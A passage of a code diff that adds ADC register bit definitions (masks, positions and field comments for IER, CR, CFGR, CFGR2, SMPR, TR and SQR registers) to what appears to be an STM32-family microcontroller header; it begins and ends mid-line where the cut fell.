ADC_IER_AWD3IE_Msk /*!< ADC analog watchdog 3 interrupt */ +#define ADC_IER_JQOVFIE_Pos (10U) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC group injected contexts queue overflow interrupt */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0U) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC enable */ +#define ADC_CR_ADDIS_Pos (1U) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC disable */ +#define ADC_CR_ADSTART_Pos (2U) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC group regular conversion start */ +#define ADC_CR_JADSTART_Pos (3U) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC group injected conversion start */ +#define ADC_CR_ADSTP_Pos (4U) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC group regular conversion stop */ +#define ADC_CR_JADSTP_Pos (5U) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC group injected conversion stop */ +#define ADC_CR_ADVREGEN_Pos (28U) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC voltage regulator enable */ +#define ADC_CR_DEEPPWD_Pos (29U) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC deep power down enable */ +#define ADC_CR_ADCALDIF_Pos (30U) +#define ADC_CR_ADCALDIF_Msk (0x1UL << ADC_CR_ADCALDIF_Pos) /*!< 0x40000000 */ +#define ADC_CR_ADCALDIF ADC_CR_ADCALDIF_Msk /*!< ADC differential mode for calibration */ +#define ADC_CR_ADCAL_Pos (31U) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC calibration */ + +/******************** Bit definition for ADC_CFGR register ******************/ +#define ADC_CFGR_DMAEN_Pos (0U) +#define ADC_CFGR_DMAEN_Msk (0x1UL << ADC_CFGR_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC_CFGR_DMAEN ADC_CFGR_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC_CFGR_DMACFG_Pos (1U) +#define ADC_CFGR_DMACFG_Msk (0x1UL << ADC_CFGR_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC_CFGR_DMACFG ADC_CFGR_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC_CFGR_RES_Pos (3U) +#define ADC_CFGR_RES_Msk (0x3UL << ADC_CFGR_RES_Pos) /*!< 0x00000018 */ +#define ADC_CFGR_RES ADC_CFGR_RES_Msk /*!< ADC data resolution */ +#define ADC_CFGR_RES_0 (0x1UL << ADC_CFGR_RES_Pos) /*!< 0x00000008 */ +#define ADC_CFGR_RES_1 (0x2UL << ADC_CFGR_RES_Pos) /*!< 0x00000010 */ + +#define ADC_CFGR_EXTSEL_Pos (5U) +#define ADC_CFGR_EXTSEL_Msk (0x1FUL << ADC_CFGR_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR_EXTSEL ADC_CFGR_EXTSEL_Msk /*!< ADC group regular external trigger source */ +#define ADC_CFGR_EXTSEL_0 (0x1UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR_EXTSEL_1 (0x2UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR_EXTSEL_2 (0x4UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR_EXTSEL_3 (0x8UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR_EXTSEL_4 (0x10UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR_EXTEN_Pos (10U) +#define ADC_CFGR_EXTEN_Msk (0x3UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR_EXTEN ADC_CFGR_EXTEN_Msk /*!< ADC group regular external trigger polarity */ +#define ADC_CFGR_EXTEN_0 (0x1UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR_EXTEN_1 (0x2UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR_OVRMOD_Pos (12U) +#define ADC_CFGR_OVRMOD_Msk (0x1UL << ADC_CFGR_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR_OVRMOD ADC_CFGR_OVRMOD_Msk /*!< ADC group regular overrun configuration */ +#define ADC_CFGR_CONT_Pos (13U) +#define ADC_CFGR_CONT_Msk (0x1UL << ADC_CFGR_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR_CONT ADC_CFGR_CONT_Msk /*!< ADC group regular continuous conversion mode */ +#define ADC_CFGR_AUTDLY_Pos (14U) +#define ADC_CFGR_AUTDLY_Msk (0x1UL << ADC_CFGR_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR_AUTDLY ADC_CFGR_AUTDLY_Msk /*!< ADC low power auto wait */ +#define ADC_CFGR_ALIGN_Pos (15U) +#define ADC_CFGR_ALIGN_Msk (0x1UL << ADC_CFGR_ALIGN_Pos) /*!< 0x00008000 */ +#define ADC_CFGR_ALIGN ADC_CFGR_ALIGN_Msk /*!< ADC data alignment */ +#define ADC_CFGR_DISCEN_Pos (16U) +#define ADC_CFGR_DISCEN_Msk (0x1UL << ADC_CFGR_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR_DISCEN ADC_CFGR_DISCEN_Msk /*!< ADC group regular sequencer discontinuous mode */ + +#define ADC_CFGR_DISCNUM_Pos (17U) +#define ADC_CFGR_DISCNUM_Msk (0x7UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR_DISCNUM ADC_CFGR_DISCNUM_Msk /*!< ADC group regular sequencer discontinuous number of ranks */ +#define ADC_CFGR_DISCNUM_0 (0x1UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR_DISCNUM_1 (0x2UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR_DISCNUM_2 (0x4UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR_JDISCEN_Pos (20U) +#define ADC_CFGR_JDISCEN_Msk (0x1UL << ADC_CFGR_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR_JDISCEN ADC_CFGR_JDISCEN_Msk /*!< ADC group injected sequencer discontinuous mode */ +#define ADC_CFGR_JQM_Pos (21U) +#define ADC_CFGR_JQM_Msk (0x1UL << ADC_CFGR_JQM_Pos) /*!< 0x00200000 */ +#define ADC_CFGR_JQM ADC_CFGR_JQM_Msk /*!< ADC group injected contexts queue mode */ +#define ADC_CFGR_AWD1SGL_Pos (22U) +#define ADC_CFGR_AWD1SGL_Msk (0x1UL << ADC_CFGR_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR_AWD1SGL ADC_CFGR_AWD1SGL_Msk /*!< ADC analog watchdog 1 monitoring a single channel or all channels */ +#define ADC_CFGR_AWD1EN_Pos (23U) +#define ADC_CFGR_AWD1EN_Msk (0x1UL << ADC_CFGR_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR_AWD1EN ADC_CFGR_AWD1EN_Msk /*!< ADC analog watchdog 1 enable on scope ADC group regular */ +#define ADC_CFGR_JAWD1EN_Pos (24U) +#define ADC_CFGR_JAWD1EN_Msk (0x1UL << ADC_CFGR_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR_JAWD1EN ADC_CFGR_JAWD1EN_Msk /*!< ADC analog watchdog 1 enable on scope ADC group injected */ +#define ADC_CFGR_JAUTO_Pos (25U) +#define ADC_CFGR_JAUTO_Msk (0x1UL << ADC_CFGR_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR_JAUTO ADC_CFGR_JAUTO_Msk /*!< ADC group injected automatic trigger mode */ + +#define ADC_CFGR_AWD1CH_Pos (26U) +#define ADC_CFGR_AWD1CH_Msk (0x1FUL << ADC_CFGR_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR_AWD1CH ADC_CFGR_AWD1CH_Msk /*!< ADC analog watchdog 1 monitored channel selection */ +#define ADC_CFGR_AWD1CH_0 (0x01UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR_AWD1CH_1 (0x02UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR_AWD1CH_2 (0x04UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR_AWD1CH_3 (0x08UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR_AWD1CH_4 (0x10UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x40000000 */ + +#define ADC_CFGR_JQDIS_Pos (31U) +#define ADC_CFGR_JQDIS_Msk (0x1UL << ADC_CFGR_JQDIS_Pos) /*!< 0x80000000 */ +#define ADC_CFGR_JQDIS ADC_CFGR_JQDIS_Msk /*!< ADC group injected contexts queue disable */ + +/******************** Bit definition for ADC_CFGR2 register *****************/ +#define ADC_CFGR2_ROVSE_Pos (0U) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC oversampler enable on scope ADC group regular */ +#define ADC_CFGR2_JOVSE_Pos (1U) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC oversampler enable on scope ADC group injected */ + +#define ADC_CFGR2_OVSR_Pos (2U) +#define ADC_CFGR2_OVSR_Msk (0x7UL << ADC_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC_CFGR2_OVSR_0 (0x1UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC_CFGR2_OVSR_1 (0x2UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC_CFGR2_OVSR_2 (0x4UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC_CFGR2_OVSS_Pos (5U) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9U) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC oversampling discontinuous mode (triggered mode) for ADC group regular */ +#define ADC_CFGR2_ROVSM_Pos (10U) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC oversampling mode managing interlaced conversions of ADC group regular and group injected */ + +#define ADC_CFGR2_GCOMP_Pos (16U) +#define ADC_CFGR2_GCOMP_Msk (0x1UL << ADC_CFGR2_GCOMP_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_GCOMP ADC_CFGR2_GCOMP_Msk /*!< ADC Gain Compensation mode */ + +#define ADC_CFGR2_SWTRIG_Pos (25U) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x02000000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software Trigger Bit for Sample time control trigger mode */ +#define ADC_CFGR2_BULB_Pos (26U) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x04000000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ +#define ADC_CFGR2_SMPTRIG_Pos (27U) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sample Time Control Trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (29U) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC Low Frequency Trigger */ + +/******************** Bit definition for ADC_SMPR1 register *****************/ +#define ADC_SMPR1_SMP0_Pos (0U) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC channel 0 sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3U) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC channel 1 sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6U) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC channel 2 sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9U) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC channel 3 sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12U) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC channel 4 sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15U) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC channel 5 sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18U) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC channel 6 sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21U) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC channel 7 sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24U) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC channel 8 sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27U) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC channel 9 sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC_SMPR1_SMPPLUS_Pos (31U) +#define ADC_SMPR1_SMPPLUS_Msk (0x1UL << ADC_SMPR1_SMPPLUS_Pos) /*!< 0x80000000 */ +#define ADC_SMPR1_SMPPLUS ADC_SMPR1_SMPPLUS_Msk /*!< ADC channels sampling time additional setting */ + +/******************** Bit definition for ADC_SMPR2 register *****************/ +#define ADC_SMPR2_SMP10_Pos (0U) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC channel 10 sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3U) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC channel 11 sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6U) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC channel 12 sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9U) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC channel 13 sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12U) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC channel 14 sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15U) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC channel 15 sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18U) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC channel 16 sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21U) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC channel 17 sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24U) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC channel 18 sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +/******************** Bit definition for ADC_TR1 register *******************/ +#define ADC_TR1_LT1_Pos (0U) +#define ADC_TR1_LT1_Msk (0xFFFUL << ADC_TR1_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_TR1_LT1 ADC_TR1_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ + +#define ADC_TR1_AWDFILT_Pos (12U) +#define ADC_TR1_AWDFILT_Msk (0x7UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00007000 */ +#define ADC_TR1_AWDFILT ADC_TR1_AWDFILT_Msk /*!< ADC analog watchdog filtering parameter */ +#define ADC_TR1_AWDFILT_0 (0x1UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00001000 */ +#define ADC_TR1_AWDFILT_1 (0x2UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00002000 */ +#define ADC_TR1_AWDFILT_2 (0x4UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00004000 */ + +#define ADC_TR1_HT1_Pos (16U) +#define ADC_TR1_HT1_Msk (0xFFFUL << ADC_TR1_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_TR1_HT1 ADC_TR1_HT1_Msk /*!< ADC analog watchdog 1 threshold high */ + +/******************** Bit definition for ADC_TR2 register *******************/ +#define ADC_TR2_LT2_Pos (0U) +#define ADC_TR2_LT2_Msk (0xFFUL << ADC_TR2_LT2_Pos) /*!< 0x000000FF */ +#define ADC_TR2_LT2 ADC_TR2_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ + +#define ADC_TR2_HT2_Pos (16U) +#define ADC_TR2_HT2_Msk (0xFFUL << ADC_TR2_HT2_Pos) /*!< 0x00FF0000 */ +#define ADC_TR2_HT2 ADC_TR2_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ + +/******************** Bit definition for ADC_TR3 register *******************/ +#define ADC_TR3_LT3_Pos (0U) +#define ADC_TR3_LT3_Msk (0xFFUL << ADC_TR3_LT3_Pos) /*!< 0x000000FF */ +#define ADC_TR3_LT3 ADC_TR3_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ + +#define ADC_TR3_HT3_Pos (16U) +#define ADC_TR3_HT3_Msk (0xFFUL << ADC_TR3_HT3_Pos) /*!< 0x00FF0000 */ +#define ADC_TR3_HT3 ADC_TR3_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ + +/******************** Bit definition for ADC_SQR1 register ******************/ +#define ADC_SQR1_L_Pos (0U) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC group regular sequencer scan length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << 